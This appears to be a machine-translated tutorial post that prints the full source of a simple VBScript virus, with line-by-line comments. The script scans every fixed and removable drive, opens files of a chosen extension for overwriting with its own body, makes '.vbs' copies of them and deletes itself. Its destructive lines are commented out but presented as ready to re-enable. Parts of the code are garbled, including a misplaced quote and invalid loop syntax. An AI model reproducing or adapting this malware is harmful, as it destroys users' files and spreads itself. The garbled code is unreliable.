A simple example of VBS virus source code parsing _vbs

Description: Some of the code has been modified by the author. The file is a complete program. After the file is executed, it looks for all the files on the hard disk that meet the criteria, makes mandatory overrides (the file data that satisfies the criteria will be lost), and then creates a file with the same file name but with the. vbs. Therefore, please pay attention to set up a good damage test conditions, do not test others, otherwise, all the consequences of conceit. If your system does not support. vbs, you can change the suffix to. vbe

Dim folder,fso,foldername,f,d,dc
Set Fso=createobject ("Scripting.FileSystemObject")
Set Self=fso.opentextfile (wscript.scriptfullname,1)
Vbscopy=self.readall ' read virus body for copying to file
Self.close
Set DC=FSO. Drives
For each D in DC
If d.drivetype=3 or d.drivetype=2 then ' check disk type
WScript.Echo d ' pop-up window, showing found letter
Scan (d)
End If
Next
Lsfile=wscript.scriptfullname ' The Script program path
Set Lsfile=fso.getfile (Lsfile)
Lsfile.delete (True) ' virus runs after self deletion (self added, the AI bug itself does not have the code)

Sub Scan (folder_)
On Error Resume Next
Set Folder_=fso.getfolder (Folder_)
Set Files=folder_.files
For each file in files
Ext=fso. Getextensionname (file) ' Get filename suffix
Ext=lcase (ext) ' suffix name converted to lowercase letter
If ext= "MP5" then "if the suffix name is MP5, of course there is no such file, here you can modify it, but note." Please create the appropriate suffix name file, preferably an abnormal suffix name
Set Ap=fso.opentextfile (file.path,2,true)
' Ap.write vbscopy ' cover file, use with caution
Ap.close
Set Cop=fso.getfile (File.path)
Cop.copy (File.path & ". vbs") ' Create another virus file
' File.delete (True) ' deletes the original file
End If
Next

Set Subfolders=folder_.subfolders
For all subfolder in subfolders ' Search for other directories
Scan (subfolder)
Next

End Sub